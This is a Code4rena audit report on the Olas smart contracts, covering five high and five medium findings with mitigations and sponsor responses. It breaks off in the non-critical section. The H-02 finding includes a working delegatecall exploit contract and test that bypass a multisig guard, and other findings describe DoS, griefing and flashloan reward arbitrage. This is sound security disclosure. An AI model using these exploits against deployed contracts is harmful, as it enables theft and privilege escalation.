Overview

About C4

Code4rena (C4) is an open organization consisting of security researchers, auditors, developers, and individuals with domain expertise in smart contracts.

A C4 audit is an event in which community participants, referred to as Wardens, review, audit, or analyze smart contract logic in exchange for a bounty provided by sponsoring projects.

During the audit outlined in this document, C4 conducted an analysis of the Olas smart contract system written in Solidity. The audit took place between December 21—January 8 2024.

Wardens

39 Wardens contributed reports to the Olas:

1. EV_om
2. hash
3. erebus
4. BugzyVonBuggernaut
5. hunter_w3b
6. c0pp3rscr3w3r
7. HChang26
8. IllIllI
9. lsaudit
10. 0xAnah
11. Sathish9098
12. 0xTheC0der
13. peanuts
14. joaovwfreire
15. oakcobalt
16. pavankv
17. windowhan001
18. adeolu
19. thank_you
20. 0xA5DF
21. 7ashraf
22. slvDev
23. 0x11singh99
24. JCK
25. naman1778
26. c3phas
27. Raihan
28. alphacipher
29. cheatc0d3
30. immeas
31. SpicyMeatball
32. imare
33. para8956
34. trachev
35. lil_eth
36. 0xMilenov
37. Bauchibred
38. rvierdiiev
39. Kaysoft

This audit was judged by LSDan.

Final report assembled by PaperParachute.

Summary

The C4 analysis yielded an aggregated total of 10 unique vulnerabilities. Of these vulnerabilities, 5 received a risk rating in the category of HIGH severity and 5 received a risk rating in the category of MEDIUM severity.

Additionally, C4 analysis included 25 reports detailing issues with a risk rating of LOW severity or non-critical. There were also 11 reports recommending gas optimizations.

All of the issues presented here are linked back to their original finding.

Scope

The code under review can be found within the C4 Olas repository, and is composed of 43 smart contracts written in the Solidity programming language and includes 3817 lines of Solidity code.

Severity Criteria

C4 assesses the severity of disclosed vulnerabilities based on three primary risk categories: high, medium, and low/non-critical.

High-level considerations for vulnerabilities span the following key areas when conducting assessments:

• Malicious Input Handling
• Escalation of privileges
• Arithmetic
• Gas use

For more information regarding the severity criteria referenced throughout the submission review process, please refer to the documentation provided on the C4 website, specifically our section on Severity Categorization.

High Risk Findings (5)

[H-01] Permanent DOS in liquidity_lockbox for under $10

Submitted by EV_om

https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L54
https://github.com/code-423n4/2023-12-autonolas/blob/main/lockbox-solana/solidity/liquidity_lockbox.sol#L181-L184

The liquidity_lockbox contract in the lockbox-solana project is vulnerable to permanent DOS due to its storage limitations. The contract uses a Program Derived Address (PDA) as a data account, which is created with a maximum size limit of 10 KB.

Every time the deposit() function is called, a new element is added to positionAccounts, mapPositionAccountPdaAta, and mapPositionAccountLiquidity, which decreases the available storage by 64 + 32 + 32 = 128 bits. This means that the contract will run out of space after at most 80000 / 128 = 625 deposits.

Once the storage limit is reached, no further deposits can be made, effectively causing a permanent DoS condition. This could be exploited by an attacker to block the contract’s functionality at a very small cost.

Proof of Concept

An attacker can cause a permanent DoS of the contract by calling deposit() with the minimum position size only 625 times. This will fill up the storage limit of the PDA, preventing any further deposits from being made.

Since neither the contract nor seemingly Orca’s pool contracts impose a limitation on the minimum position size, this can be achieved at a very low cost of 625 * dust * transaction fees:

Recommended Mitigation Steps

The maximum size of a PDA is 10 KiB on creation, only slightly larger than the current allocated space of 10 KB. The Solana SDK does provide a method to resize a data account (source), but this functionality isn’t currently implemented in Solang (source).

A potential solution to this issue is to use an externally created account as a data account, which can have a size limit of up to 10 MiB, as explained in this StackExchange post.

Alternatively, free up space by clearing the aforementioned variables in storage for withdrawn positions.

However, a more prudent security recommendation would be to leverage the Solana SDK directly, despite the potential need for contract reimplementation and the learning curve associated with Rust. The Solana SDK offers greater flexibility and is less likely to introduce unforeseen vulnerabilities. Solang, while a valuable tool, is still under active development and will usually lag behind the SDK, which could inadvertently introduce complexity and potential vulnerabilities due to compiler discrepancies.

kupermind (Olas) confirmed

[H-02] CM can delegatecall to any address and bypass all restrictions

Submitted by EV_om

The GuardCM contract is designed to restrict the Community Multisig (CM) actions within the protocol to only specific contracts and methods. This is achieved by implementing a checkTransaction() method, which is invoked by the CM GnosisSafe before every transaction. When GuardCM is not paused, the implementation restricts calls to the schedule() and scheduleBatch() methods in the timelock to only specific targets and selectors, performs additional checks on calls forwarded to the L2s and blocks self-calls on the CM itself, which prevents it from unilaterally removing the guard:

	if (to == owner) {
		// No delegatecall is allowed
		if (operation == Enum.Operation.DelegateCall) {
			revert NoDelegateCall();
		}

		// Data needs to have enough bytes at least to fit the selector
		if (data.length < SELECTOR_DATA_LENGTH) {
			revert IncorrectDataLength(data.length, SELECTOR_DATA_LENGTH);
		}

		// Get the function signature
		bytes4 functionSig = bytes4(data);
		// Check the schedule or scheduleBatch function authorized parameters
		// All other functions are not checked for
		if (functionSig == SCHEDULE || functionSig == SCHEDULE_BATCH) {
			// Data length is too short: need to have enough bytes for the schedule() function
			// with one selector extracted from the payload
			if (data.length < MIN_SCHEDULE_DATA_LENGTH) {
				revert IncorrectDataLength(data.length, MIN_SCHEDULE_DATA_LENGTH);
			}

			_verifySchedule(data, functionSig);
		}
	} else if (to == multisig) {
		// No self multisig call is allowed
		revert NoSelfCall();
	}

However, a critical oversight in the current implementation allows the CM to perform delegatecalls to any address but the timelock. As can be seen above, DelegateCall operations are only disallowed when the target is the timelock (represented by the owner variable). What this effectively means is that the CM cannot run any Timelock function in its own context, but it can delegatecall to any other contract and hence execute arbitrary code. This allows it to trivially bypass the guard by delegating to a contract that removes the guard variable from the CM’s storage.

The CM holds all privileged roles within the timelock, which is in turn the protocol’s owner. This means that the CM can potentially gain unrestricted control over the entire protocol. As such, this vulnerability represents a significant risk of privilege escalation and is classified as high severity.

Proof of Concept

We can validate the vulnerability through an additional test case for the GuardCM.js test suite. This test case will simulate the exploit scenario and confirm the issue by performing the following actions:

1. It sets up the guard using the setGuard function with the appropriate parameters.
2. It attempts to execute an unauthorized call via delegatecall to the timelock, which should be reverted by the guard as expected.
3. It deploys an exploit contract, which contains a function to delete the guard storage.
4. It calls the deleteGuardStorage function through a delegatecall from the CM, which will remove the guard variable from the safe’s storage.
5. It repeats the unauthorized call from step 2. This time, the call succeeds, indicating that the guard has been bypassed.

A simple exploit contract could look as follows:

pragma solidity ^0.8.0;

contract DelegatecallExploitContract {
    bytes32 internal constant GUARD_STORAGE_SLOT = 0x4a204f620c8c5ccdca3fd54d003badd85ba500436a431f0cbda4f558c93c34c8;

    function deleteGuardStorage() public {
        assembly {
            sstore(GUARD_STORAGE_SLOT, 0)
        }
    }
}

And the test:

        it("CM can remove guard through delegatecall", async function () {
            // Setting the CM guard
            let nonce = await multisig.nonce();
            let txHashData = await safeContracts.buildContractCall(multisig, "setGuard", [guard.address], nonce, 0, 0);
            let signMessageData = new Array();
            for (let i = 1; i <= safeThreshold; i++) {
                signMessageData.push(await safeContracts.safeSignMessage(signers[i], multisig, txHashData, 0));
            }
            await safeContracts.executeTx(multisig, txHashData, signMessageData, 0);

            // Attempt to execute an unauthorized call
            let payload = treasury.interface.encodeFunctionData("pause");
            nonce = await multisig.nonce();
            txHashData = await safeContracts.buildContractCall(timelock, "schedule", [treasury.address, 0, payload,
                Bytes32Zero, Bytes32Zero, 0], nonce, 0, 0);
            for (let i = 0; i < safeThreshold; i++) {
                signMessageData[i] = await safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
            }
            await expect(
                safeContracts.executeTx(multisig, txHashData, signMessageData, 0)
            ).to.be.reverted;

            // Deploy and delegatecall to exploit contract
            const DelegatecallExploitContract = await ethers.getContractFactory("DelegatecallExploitContract");
            const exploitContract = await DelegatecallExploitContract.deploy();
            await exploitContract.deployed();
            nonce = await multisig.nonce();
            txHashData = await safeContracts.buildContractCall(exploitContract, "deleteGuardStorage", [], nonce, 1, 0);
            for (let i = 0; i < safeThreshold; i++) {
                signMessageData[i] = await safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
            }
            await safeContracts.executeTx(multisig, txHashData, signMessageData, 0);

            // Unauthorized call succeeds since we have removed the guard
            nonce = await multisig.nonce();
            txHashData = await safeContracts.buildContractCall(timelock, "schedule", [treasury.address, 0, payload,
                Bytes32Zero, Bytes32Zero, 0], nonce, 0, 0);
            for (let i = 0; i < safeThreshold; i++) {
                signMessageData[i] = await safeContracts.safeSignMessage(signers[i+1], multisig, txHashData, 0);
            }
            await safeContracts.executeTx(multisig, txHashData, signMessageData, 0);
        });

To run the exploit test:

• Save the exploit contract somewhere under the governance directory as DelegatecallExploitContract.sol.
• Add the test to the "Timelock manipulation via the CM" context in governance/test/GuardCM.js and run it using the command npx hardhat test --grep "CM cannot bypass guard through delegatecall". This will run the test above, which should demonstrate the exploit by successfully making an unauthorized call after the guard has been bypassed.

Tools Used

Hardhat

Recommended Mitigation Steps

Disallow delegatecalls entirely:

@@ -397,15 +397,14 @@ contract GuardCM {
         bytes memory,
         address
     ) external {
+        // No delegatecall is allowed
+        if (operation == Enum.Operation.DelegateCall) {
+            revert NoDelegateCall();
+        }
         // Just return if paused
         if (paused == 1) {
             // Call to the timelock
             if (to == owner) {
-                // No delegatecall is allowed
-                if (operation == Enum.Operation.DelegateCall) {
-                    revert NoDelegateCall();
-                }
-
                 // Data needs to have enough bytes at least to fit the selector
                 if (data.length < SELECTOR_DATA_LENGTH) {

kupermind (Olas) confirmed:

kupermind (sponsor) confirmed

[H-03] Wrong invocation of Whirpools’s updateFeesAndRewards will cause it to always revert

Submitted by hash

Deposits will be unwithdrawable from the lockbox.

Proof of Concept

If the entire liquidity of a position has been removed, the withdraw function calls the updateFeesAndRewards function on the Orca pool before attempting to close the position.

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/lockbox-solana/solidity/liquidity_lockbox.sol#L277-L293

    function withdraw(uint64 amount) external {
        address positionAddress = positionAccounts[firstAvailablePositionAccountIndex];
      
        ......

        uint64 positionLiquidity = mapPositionAccountLiquidity[positionAddress];
        
        ......

        uint64 remainder = positionLiquidity - amount;

        ......

        if (remainder == 0) {
            // Update fees for the position
            AccountMeta[4] metasUpdateFees = [
                AccountMeta({pubkey: pool, is_writable: true, is_signer: false}),
                AccountMeta({pubkey: positionAddress, is_writable: true, is_signer: false}),
                AccountMeta({pubkey: tx.accounts.tickArrayLower.key, is_writable: false, is_signer: false}),
                AccountMeta({pubkey: tx.accounts.tickArrayUpper.key, is_writable: false, is_signer: false})
            ];
            whirlpool.updateFeesAndRewards{accounts: metasUpdateFees, seeds: [[pdaProgramSeed, pdaBump]]}();

This is faulty as the updateFeesAndRewards function will always revert if the position’s liquidity is 0.

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/lockbox-solana/solidity/interfaces/whirlpool.sol#L198

Whirlpool source code:

updatefeesand_rewards -> calculatefeeandrewardgrowths -> _calculatemodifyliquidity

https://github.com/orca-so/whirlpools/blob/3206c9cdfbf27c73c30cbcf5b6df2929cbf87618/programs/whirlpool/src/manager/liquidity_manager.rs#L97-L99

fn _calculate_modify_liquidity(
    whirlpool: &Whirlpool,
    position: &Position,
    tick_lower: &Tick,
    tick_upper: &Tick,
    tick_lower_index: i32,
    tick_upper_index: i32,
    liquidity_delta: i128,
    timestamp: u64,
) -> Result<ModifyLiquidityUpdate> {
    // Disallow only updating position fee and reward growth when position has zero liquidity
    if liquidity_delta == 0 && position.liquidity == 0 {
        return Err(ErrorCode::LiquidityZero.into());
    }

Since the withdrawal positions are chosen sequentially, only a maximum of (first position’s liquidity - 1) amount of liquidity can be withdrawn.

POC Test

https://gist.github.com/10xhash/a687ef66de8210444a41360b86ed4bca

Recommended Mitigation Steps

Avoid the update_fees_and_rewards call completely since fees and rewards would be updated in the decreaseLiquidity call.

kupermind commented:

We have changed the order of operations in our rust program indeed, and it works there. Verified the order of instructions provided here and it fails if the remainder is zero.

Note: See full discussion here.

[H-04] Bonds created in year cross epoch’s can lead to lost payouts

Submitted by hash, also found by c0pp3rscr3w3r, HChang26, and 0xTheC0der

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/tokenomics/contracts/Tokenomics.sol#L1037-L1038
https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/governance/contracts/OLAS.sol#L75-L84

Bond depositors and agent/component owner’s may never receive the payout Olas. Incorrect inflation control.

Proof of Concept

effectiveBond is used to account how much of Olas is available for bonding. This includes Olas that are to be minted in the current epoch ie. effectiveBond will include the Olas partitioned for bonding in epoch 5 at the beginning of epoch 5 itself. In case of epoch’s crossing YEAR intervals, a portion of the Olas would actually only be mintable in the next year due to the yearwise inflation control enforced at the mint (after 9 years due to fixed supply till 10 years). Due to silent reverts, this can lead to lost Olas payouts

The inflation for bonds are accounted using the effectiveBond variable.
https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/tokenomics/contracts/Tokenomics.sol#L609-L617

    function reserveAmountForBondProgram(uint256 amount) external returns (bool success) {
       
       .....

        // Effective bond must be bigger than the requested amount
        uint256 eBond = effectiveBond;
        if (eBond >= amount) {

            eBond -= amount;
            effectiveBond = uint96(eBond);
            success = true;
            emit EffectiveBondUpdated(eBond);
        }
    }

This variable is updated with the estimated bond Olas at the beginning of an epoch itself.

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/tokenomics/contracts/Tokenomics.sol#L1037-L1038

    function checkpoint() external returns (bool) {
        
        .....

        // Update effectiveBond with the current or updated maxBond value
        curMaxBond += effectiveBond;
        effectiveBond = uint96(curMaxBond);

In case of epochs crossing YEAR intervals after 9 years, the new Olas amount will not be fully mintable in the same year due to the inflation control check enforced in the Olas contract.

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/governance/contracts/OLAS.sol#L75-L84

    function mint(address account, uint256 amount) external {

        ....
        
        // Check the inflation schedule and mint
        if (inflationControl(amount)) {
            _mint(account, amount);
        }

Whenever a deposit is made on a bond, the required Olas is minted by the treasury and transferred to the Depository contract, from where the depositor claims the payout after the vesting time. Olas.sol doesn’t revert for inflation check failure but fails silently. This can cause a deposit to succeed but corresponding redeem to fail since payout Olas has not been actually minted. It can also happen that agent/component owner’s who have not claimed the topup Olas amount will loose their reward due to silent return when minting their reward.

Example

• Year 10, 1 month left for Year 11.
• All Olas associated with previous epochs have been minted.
• New epoch of 2 months is started, 1 month in Year 10 and 1 month in Year 11.
• Total Olas for the epoch, t = year 10 1 month inflation + year 11 1 month inflation.

Year 10 1 month inflaiton (y10m1) = (1_000_000_000e18 * 2 / 100 / 12)
Year 11 1 month inflation (y11m1) = (1_020_000_000e18 * 2 / 100 / 12) t = y10m1 + y11m1

• Olas bond percentage = 50%
• Hence effectiveBond = t/2
• But actual mintable remaining in year 0, m = y10m1 < effectiveBond
• A bond is created with supply == effectiveBond
• User’s deposit for the entire bond supply but only y10m1 Olas can be minted. Depending on the nature of deposits, the actual amount minted can vary from 0 to y10m1. In case of unminted amounts(as rewards of agent/component owner’s etc.) at Year 10, this amount can be minted for bond deposits following which if agent/component owners claim within the year, no Olas will be received by them.
• Users lose their Olas payout.

POC Test

https://gist.github.com/10xhash/2157c1f2cdc9513b3f0a7f359a65015e

Recommended Mitigation Steps

In case of multi-year epochs, separate bond amounts of next year.

kupermind (Olas) confirmed

[H-05] Withdrawals can be frozen by creating null deposits

Submitted by erebus, also found by hash and BugzyVonBuggernaut

It won’t be possible to withdraw any LP token after doing a deposit of $0$ liquidity, leading to withdrawals being effectively freezed.

Proof of Concept

In liquidity_lockbox, function withdraw

        ...

        uint64 positionLiquidity = mapPositionAccountLiquidity[positionAddress];
        // Check that the token account exists
        if (positionLiquidity == 0) {
            revert("No liquidity on a provided token account");
        }

        ...

The code checks for the existence of a position via the recorded liquidity. This is a clever idea, as querying a non-existant value from a mapping will return $0$. However, in deposit, due to a flawed input validation, it is possible to make positions with $0$ liquidity as the only check being done is for liquidity to not be higher than type(uint64).max:

liquiditylockbox, function \getPositionData

        ...

        // Check that the liquidity is within uint64 bounds
        if (positionData.liquidity > type(uint64).max) {
            revert("Liquidity overflow");
        }

        ...

As it will pass the input validation inside _getPositionData, the only way for such a tx to revert is in the transfer/mint, which are low-level calls with no checks for success, as stated in my report Missing checks for failed calls to the token program will corrupt user's positions.

Due to the reasons above, this deposit with $0$ liquidity will be treated as a valid one and will be stored inside the mapPositionAccountLiquidity and positionAccounts arrays. If we add the fact that withdrawals are done by looping LINEARLY through positionAccounts:

liquidity_lockbox, function withdraw

    function withdraw(uint64 amount) external {
        address positionAddress = positionAccounts[firstAvailablePositionAccountIndex]; // @audit linear loop
        
        ...

        uint64 positionLiquidity = mapPositionAccountLiquidity[positionAddress];
        // Check that the token account exists
        if (positionLiquidity == 0) { // @audit it will revert here once it reaches the flawed position
            revert("No liquidity on a provided token account");
        }

        ...

        if (remainder == 0) { // @audit if the liquidity after the orca call is 0, close the position and ++ the index
            ...

            // Increase the first available position account index
            firstAvailablePositionAccountIndex++; // @audit it won't reach here as the revert above will roll-back the whole tx
        }
    }

It can be seen that once it encounters such a “fake” deposit with $0$ liquidity provided, it will always revert due to the existence check. As there is no other way to update firstAvailablePositionAccountIndex to bypass the flawed position, withdrawals will be completely freezed.

Recommended Mitigation Steps

Just check for the supplied liquidity to not be $0$ in

liquiditylockbox, function \getPositionData

        ...
+       // Check that the liquidity > 0
+       if (positionData.liquidity == 0) {
+           revert("Liquidity cannot be 0");
+       }

        // Check that the liquidity is within uint64 bounds
        if (positionData.liquidity > type(uint64).max) {
            revert("Liquidity overflow");
        }

        ...

mariapiamo (Olas) confirmed

Medium Risk Findings (5)

[M-01] Withdraw amount returned by getLiquidityAmountsAndPositions may be incorrect

Submitted by EV_om, also found by hash, erebus, and lsaudit

The getLiquidityAmountsAndPositions() function in the liquidity_lockbox contract is used to calculate the liquidity amounts and positions to be withdrawn for a given total withdrawal amount. It iterates through each deposited position following a FIFO order as shown below:

        uint64 liquiditySum = 0;
        uint32 numPositions = 0;
        uint64 amountLeft = 0;

        // Get the number of allocated positions
        for (uint32 i = firstAvailablePositionAccountIndex; i < numPositionAccounts; ++i) {
            address positionAddress = positionAccounts[i];
            uint64 positionLiquidity = mapPositionAccountLiquidity[positionAddress];

            // Increase a total calculated liquidity and a number of positions to return
            liquiditySum += positionLiquidity;
            numPositions++;

            // Check if the accumulated liquidity is enough to cover the requested amount
            if (liquiditySum >= amount) {
                amountLeft = liquiditySum - amount;
                break;
            }
        }

However, there is an error in the calculation of the last position amount when it entails a partial withdrawal. The amountLeft variable represents the leftover liquidity in the last position after the user’s withdrawals, but it is assigned to the returned amounts as if it represented the amount the user should withdraw:

        // Adjust the last position, if it was not fully allocated
        if (numPositions > 0 && amountLeft > 0) {
            positionAmounts[numPositions - 1] = amountLeft;
        }

This discrepancy could lead to users withdrawing an incorrect amount if they use getLiquidityAmountsAndPositions(), as intended, to obtain positions and amounts to use when calling withdraw(). This can result in significant unintended transfer of funds for the user, especially in cases where the last position in positionAmounts is of significant size. Given the fact that this issue can occur under normal usage of the contract, this issue is assessed as medium severity.

Proof of Concept

Consider the following step-by-step scenario:

1. Alice has a large amount of bridged tokens.
2. Alice decides to withdraw a small portion of her liquidity. She has written a script that calls getLiquidityAmountsAndPositions() to calculate the positions and amounts for the withdrawal and iterates through the returned arrays in a series of calls to withdraw().
3. The firstAvailablePositionAccountIndex points to a very large position, which causes getLiquidityAmountsAndPositions() to return an amount much larger than Alice intended.
4. Alice unknowingly passes the returned amount to withdraw and as a result ends up withdrawing far more tokens than she intended, potentially depleting her liquidity in the contract.

Recommended Mitigation Steps

To fix this issue, the last position amount should be reduced by the remaining amount when the accumulated liquidity is not fully allocated. This can be achieved by changing the assignment operation to a subtraction operation:

@@ -374,7 +374,7 @@ contract liquidity_lockbox {
 
         // Adjust the last position, if it was not fully allocated
         if (numPositions > 0 && amountLeft > 0) {
-            positionAmounts[numPositions - 1] = amountLeft;
+            positionAmounts[numPositions - 1] -= amountLeft;
         }
     }

This change ensures that the last position amount is correctly calculated, preventing users from withdrawing an incorrect amount.

kupermind (Olas) confirmed, but disagreed with severity and commented:

@dmvt The bug is related to the view function, and this can’t be considered as Medium risk. It’s more like informative, and thus we are disputing this.

Not relevant anymore as the code has been completely re-written: https://github.com/valory-xyz/lockbox-solana

[M-02] LP rewards in liquidity_lockbox can be arbitraged

Submitted by EV_om

The liquidity_lockbox contract is designed to handle liquidity positions in a specific Orca LP pool. Users can deposit their LP NFTs into the contract, receiving in exchange tokens according to their position size. These tokens are minted with the goal of allowing users to bridge them to Ethereum later on and exchange them for OLAS at a discount.

However, a potential vulnerability arises from the unrestricted nature of the deposit and withdrawal functions. Specifically, a user can deposit a large amount of assets and immediately withdraw all existing positions using the tokens they just received. This sequence of actions can be repeated to continuously exploit the LP rewards system, leading to an unfair distribution of rewards.

The root cause of this issue lies in the withdraw() function, which does not have any restrictions or checks that prevent immediate withdrawal after a deposit and pays all accrued LP rewards to the caller.

Proof of Concept

Consider the following scenario:

1. Alice obtains a large amount of tokens either through a flashloan or by buying them.
2. Alice uses these tokens to open a large position in the Orca pool.
3. Alice deposits the position NFT into the liquidity_lockbox contract, receiving a large amount of bridge tokens.
4. Alice withdraws all existing positions using the tokens she just received and receives the LP rewards.
5. Alice closes the received positions in the Orca pool, repays the flashloan (if used) and pockets the rewards.

This sequence of actions can be repeated by Alice to continuously exploit the LP rewards system.

Recommended Mitigation Steps

To mitigate this issue, a possible solution could be to implement a lock-up period for deposited positions. This would prevent users from immediately withdrawing their positions after depositing. Additionally, consider not distributing rewards to the withdrawing user (which will never be fair) and instead collecting them for the protocol.

kupermind (Olas) confirmed

[M-03] Griefing attack on liquidity_lockbox withdrawals due to lack of minimum deposit

Submitted by EV_om, also found by BugzyVonBuggernaut

The liquidity_lockbox contract does not enforce a minimum deposit limit. This allows a user to open many positions with minimum liquidity, forcing other users to close these positions one by one in order to withdraw. This could lead to a griefing attack where the transaction cost accounts for a large portion of the withdrawn amount.

While transactions on Solana are cheap and it is difficult to assess the cost of a withdrawal as the external call on line fails, an accumulation of small deposits as portrayed will in any case disrupt contract operations by making substantial fund withdrawals labor-intensive.

The root cause of this issue is the lack of a minimum deposit threshold in the deposit() function in lockbox-solana/solidity/liquidity_lockbox.sol.

Proof of Concept

Consider the following scenario:

1. Alice, a malicious user, opens a large number of positions with minimum liquidity in the liquidity_lockbox contract.
2. Bob, a regular user, wants to withdraw his funds. However, he is forced to close Alice’s positions one by one due to the lack of a minimum deposit threshold.
3. The transaction cost for Bob becomes a significant portion of the withdrawn amount, making the withdrawal of funds inefficient and costly.

Recommended Mitigation Steps

To mitigate this issue, a minimum deposit threshold should be implemented in the deposit() function. This would prevent users from opening positions with minimum liquidity and protect other users from potential griefing attacks. The threshold should be carefully chosen to balance the need for user flexibility and the protection against potential attacks. Additionally, consider implementing a mechanism to batch close positions to further protect against such scenarios.

kupermind (Olas) confirmed

[M-04] Possible DOS when withdrawing liquidity from Solana Lockbox

Submitted by hash

Possible DOS when withdrawing liquidity from Lockbox.

Proof of Concept

When withdrawing it is required to pass all the associated accounts in the transaction. But among these (position,pdaPositionAccount and positionMint) are dependent on the current modifiable-state of the account ie. if another withdrawal occurs, the required accounts to be passed to the function call might change resulting in a revert.

https://github.com/code-423n4/2023-12-autonolas/blob/2a095eb1f8359be349d23af67089795fb0be4ed1/lockbox-solana/solidity/liquidity_lockbox.sol#L194-L214

    @mutableAccount(pool)
    @account(tokenProgramId)
    @mutableAccount(position)
    @mutableAccount(userBridgedTokenAccount)
    @mutableAccount(pdaBridgedTokenAccount)
    @mutableAccount(userWallet)
    @mutableAccount(bridgedTokenMint)
    @mutableAccount(pdaPositionAccount)
    @mutableAccount(userTokenAccountA)
    @mutableAccount(userTokenAccountB)
    @mutableAccount(tokenVaultA)
    @mutableAccount(tokenVaultB)
    @mutableAccount(tickArrayLower)
    @mutableAccount(tickArrayUpper)
    @mutableAccount(positionMint)
    @signer(sig)
    function withdraw(uint64 amount) external {
        address positionAddress = positionAccounts[firstAvailablePositionAccountIndex];
        if (positionAddress != tx.accounts.position.key) {
            revert("Wrong liquidity token account");
        }

The DOS for a withdrawal can be caused by another user withdrawing before the user’s transaction. Due to the possibility to steal fees, attackers would be motivated to frequently call the withdraw method making such a scenario likely.

Recommended Mitigation Steps

To mitigate this it would require a redesign on how the lockbox accepts liquidity. Instead of adding new positions, the lockbox can keep its liquidity in a single position continuously increasing its liquidity for deposits.

mariapiamo (Olas) confirmed

[M-05] Missing slippage protection in liquidity_lockbox::withdraw

Submitted by erebus, also found by windowhan001, oakcobalt, adeolu, and thank_you

Vanilla example of missing slippage protection.

Proof of Concept

As any AMM, Orca implements slippage protections by letting the caller specify the minimum amount of input and output tokens to be used in a given operation, so that if the transaction outputs a value less than the expected ones, it will revert preventing users from incurring in unacceptable losses.

In our situation, we are interested in the decreaseLiquidity handler:

decrease_liquidity, lines 18 and 19

pub fn handler(
    ctx: Context<ModifyLiquidity>,
    liquidity_amount: u128,
    token_min_a: u64,
    token_min_b: u64,
) -> Result<()> {
    
    ...

    let (delta_a, delta_b) = calculate_liquidity_token_deltas(
        ctx.accounts.whirlpool.tick_current_index,
        ctx.accounts.whirlpool.sqrt_price,
        &ctx.accounts.position,
        liquidity_delta,
    )?;

    if delta_a < token_min_a {
        return Err(ErrorCode::TokenMinSubceeded.into());
    } else if delta_b < token_min_b {
        return Err(ErrorCode::TokenMinSubceeded.into());
    }

    ...
}

The code snippet above calculates the delta variations of the two tokens amount in the given pool and reverts the whole transaction if the calculated amounts are less than the specified ones. However, if we go to:

liquidity_lockbox, function withdraw

        ...

        whirlpool.decreaseLiquidity{accounts: metasDecreaseLiquidity, seeds: [[pdaProgramSeed, pdaBump]]}(amount, 0, 0);

        ...

We see that token_min_a and token_min_b are hard-coded to $0$, meaning that the liquidity decrease operation will accept ANY amount in exchange, even $0$, leading to a loss of funds as MEV exists in Solana too (see here). The mathematical reason is that:

$x >= 0, \forall x \in \[0, 2⁶⁴-1]$

So the errors:

    if delta_a < token_min_a {
        return Err(ErrorCode::TokenMinSubceeded.into());
    } else if delta_b < token_min_b {
        return Err(ErrorCode::TokenMinSubceeded.into());
    }

Won’t be triggered as:

    if delta_a < token_min_a { // @audit delta_a < 0 => false for all delta_a, so no error
        return Err(ErrorCode::TokenMinSubceeded.into());
    } else if delta_b < token_min_b { // @audit delta_b < 0 => false for al delta_b, so no error
        return Err(ErrorCode::TokenMinSubceeded.into());
    }

    // @audit if token_min_a = token_min_b = 0, then delta_a and delta_b can be ANY value, 
    // @audit even 0, which means total loss of funds is possible

Meaning there is no slippage protection at all if called with token_min_a = token_min_b = 0 (as it’s the case with liquidity_lockbock::withdraw).

Recommended Mitigation Steps

Let users provide the minimum amount of tokens they are willing to use as function arguments and pass them straight to decreaseLiquidity like:

-   function withdraw(uint64 amount) external {
+   function withdraw(uint64 amount, uint64 minA, uint64 minB) external {
        
        ...

-       whirlpool.decreaseLiquidity{accounts: metasDecreaseLiquidity, seeds: [[pdaProgramSeed, pdaBump]]}(amount, 0, 0);
+       whirlpool.decreaseLiquidity{accounts: metasDecreaseLiquidity, seeds: [[pdaProgramSeed, pdaBump]]}(amount, minA, minB);

        ...
}

mariapiamo (Olas) confirmed, but disagreed with severity

LSDan (Judge) decreased severity to Medium

Low Risk and Non-Critical Issues

For this audit, 25 reports were submitted by wardens detailing low risk and non-critical issues. The report highlighted below by IllIllI received the top score from the judge.

The following wardens also submitted reports: 7ashraf, slvDev, 0xA5DF, lsaudit, cheatc0d3, EV_om, immeas, SpicyMeatball, hash, 0x11singh99, oakcobalt, erebus, imare, para8956, trachev, lil_eth, peanuts, 0xMilenov, Bauchibred, 0xTheC0der, Sathish9098, joaovwfreire, rvierdiiev, and Kaysoft.

Note: I’ve removed the instances reported by the winning bot and 4naly3er.

Summary

Non-critical Issues

Total: 404 instances over 29 issues

Non-critical Issues

[N-01] else-block not required

One level of nesting can be removed by not having an else block when the if-block returns, and if (foo) { return 1; } else { return 2; } becomes if (foo) { return 1; } return 2;. A following else if can become if

There is one instance of this issue:

File: contracts/veOLAS.sol

265                  if (tStep == block.timestamp) {
266                      lastPoint.blockNumber = uint64(block.number);
267                      lastPoint.balance = curSupply;
268:                     break;

GitHub: 265

[N-02] public functions not called by the contract should be declared external instead

Contracts are allowed to override their parents’ functions and change the visibility from external to public.

There are 2 instances of this issue:

File: contracts/veOLAS.sol

761:      function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {

GitHub: 761

File: contracts/GenericRegistry.sol

135:      function tokenURI(uint256 unitId) public view virtual override returns (string memory) {

GitHub: 135

[N-03] Common functions should be refactored to a common base contract

The functions below have the same implementation as is seen in other files. The functions should be refactored into functions of a common base contract

There are 8 instances of this issue:

File: contracts/GenericManager.sol

20       function changeOwner(address newOwner) external virtual {
21           // Check for the ownership
22           if (msg.sender != owner) {
23               revert OwnerOnly(msg.sender, owner);
24           }
25   
26           // Check for the zero address
27           if (newOwner == address(0)) {
28               revert ZeroAddress();
29           }
30   
31           owner = newOwner;
32           emit OwnerUpdated(newOwner);
33:      }

File: contracts/GenericRegistry.sol

37       function changeOwner(address newOwner) external virtual {
38           // Check for the ownership
39           if (msg.sender != owner) {
40               revert OwnerOnly(msg.sender, owner);
41           }
42   
43           // Check for the zero address
44           if (newOwner == address(0)) {
45               revert ZeroAddress();
46           }
47   
48           owner = newOwner;
49           emit OwnerUpdated(newOwner);
50:      }

File: contracts/Depository.sol

123      function changeOwner(address newOwner) external {
124          // Check for the contract ownership
125          if (msg.sender != owner) {
126              revert OwnerOnly(msg.sender, owner);
127          }
128  
129          // Check for the zero address
130          if (newOwner == address(0)) {
131              revert ZeroAddress();
132          }
133  
134          owner = newOwner;
135          emit OwnerUpdated(newOwner);
136:     }

